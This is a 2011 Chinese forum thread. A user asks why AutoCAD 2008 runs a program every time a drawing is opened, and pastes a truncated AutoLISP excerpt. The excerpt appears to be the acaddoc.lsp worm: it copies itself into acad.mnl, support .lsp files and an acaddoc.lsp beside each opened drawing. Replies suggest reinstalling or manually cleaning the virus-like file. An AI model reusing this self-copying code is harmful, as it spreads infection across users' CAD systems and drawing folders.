autoCAD 2008 打开图纸时会加载一段程序,挺麻烦,哪位大虾能帮忙

[复制链接]
查看11 | 回复3 | 2011-6-19 12:54:29 | 显示全部楼层 |阅读模式
(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn

(write-line text wjm1)

);progn
);if
);while

(close wjm1)

(close wjm)

);progn

);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while
…………
………
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)
; 错误: 参数类型错误: streamp nil

回复

使用道具 举报

千问 | 2011-6-19 12:54:29 | 显示全部楼层
建议你重装一下 设置很麻烦!...
回复

使用道具 举报

千问 | 2011-6-19 12:54:29 | 显示全部楼层
用百度查acaddoc的处理办法 相当于acaddoc.LSP类似病毒的问题 要不就是杀毒未彻底干净建议按处理程序手动做一遍...
回复

使用道具 举报

千问 | 2011-6-19 12:54:29 | 显示全部楼层
打开的图纸也是2008的么,版本不一样可能会这样...
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

主题

0

回帖

4882万

积分

论坛元老

Rank: 8Rank: 8

积分
48824836
热门排行